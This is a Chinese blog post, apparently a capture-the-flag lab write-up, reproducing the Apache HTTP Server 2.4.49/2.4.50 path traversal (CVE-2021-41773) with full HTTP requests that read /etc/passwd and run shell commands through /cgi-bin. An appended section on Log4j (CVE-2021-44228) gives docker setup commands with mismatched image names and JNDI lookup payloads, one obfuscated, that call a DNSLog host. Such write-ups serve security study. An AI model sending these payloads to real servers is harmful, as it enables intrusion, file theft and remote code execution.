vulfocus——apache(cve_2021_41773)

本文详细介绍了Apache HTTP Server 2.4.49和2.4.50版本存在的路径穿越漏洞,攻击者可借此读取敏感文件甚至执行命令。通过复现步骤,展示了如何进行文件读取和命令执行,揭示了该漏洞的严重性。修复此问题对于保障服务器安全至关重要。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

描述

Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

攻击者可以通过路径遍历攻击将 URL 映射到预期文档根目录之外的文件,如果文档根目录之外的文件不受“requireall denied”访问控制参数的保护(默认禁用),则这些恶意请求就会成功。除此之外,该漏洞还可能会导致泄漏 CGI 脚本等解释文件的来源。 

复现

1.打开靶场

2.文件读取,用burp抓包然后发送请求

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 123.58.224.8:15826
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1661606197,1663322124; csrf_2698a4=b425a1c9; _ga=GA1.1.2104325447.1662173640; s7t_visitedfid=2; BOg8_2132_saltkey=QzYq2Yi9; BOg8_2132_lastvisit=1663245404; think_template=default
Upgrade-Insecure-Requests: 1

 

 3.rce命令执行

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 123.58.224.8:15826
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1661606197,1663322124; csrf_2698a4=b425a1c9; _ga=GA1.1.2104325447.1662173640; s7t_visitedfid=2; BOg8_2132_saltkey=QzYq2Yi9; BOg8_2132_lastvisit=1663245404; think_template=default
Upgrade-Insecure-Requests: 1
Content-Length: 8

echo; id

 

4.上述执行成功,ls /tmp找到flag

 

### 复现命令执行漏洞并使用DNSLog进行验证 #### 实验环境搭建 为了复现Apache Log4j2远程代码执行漏洞(CVE-2021-44228),可以采用Docker技术来快速构建所需的实验环境。具体操作为拉取已准备好的镜像`vulfocus/log4j2-rce-2021-12-09:latest`,并通过指定端口映射启动容器[^4]。 ```bash docker pull vulfocus/log4j2-2021-12-09:latest sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09 ``` 确认服务正常运行后,可通过浏览器访问对应的IP地址与端口号组合(例如:http://192.168.71.128),以此检验部署是否成功。 #### 利用DNSLog验证漏洞存在性 当目标应用基于受影响版本的Log4j库处理日志记录时,如果输入被不当解析,则可能触发此漏洞。为了检测是否存在可利用条件,建议通过Burp Suite或其他HTTP代理工具拦截请求,并修改参数值以嵌入特定模式字符串作为测试载荷。这些特殊构造的数据应当指向预先注册的一个公共或自建的DNSLog服务器域名部分,以便于追踪由潜在反序列化活动引发的外部网络连接尝试。 假设已经设置好了监听机制,那么接下来就是调整待测Web应用程序接收到的数据流中的某些字段——比如URL查询串里的某个键名或是POST消息体内的表单项标签——使其携带精心设计过的表达式样式的字符序列。一旦上述改动生效并向服务器发出新的询问动作之后,便可在DNSLog平台上观察是否有异常解析事件发生;若有,则说明很可能遭遇到了不受信任源码所控制下的任意指令调用风险。 对于具体的payload形式而言,考虑到不同场景下变量命名规则差异较大,这里仅给出一种通用思路供参考: `${jndi:ldap://${dnslog}/a}` 或者 `${${lower:j}ndi:${lower:l}${lower:d}ap://${dnslog}}/a}` 其中`${...}`表示JNDI查找语法结构的一部分,而`${dnslog}`则需替换成为实际使用的DNS回调站点主机名[^5]。 #### 关联问题
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值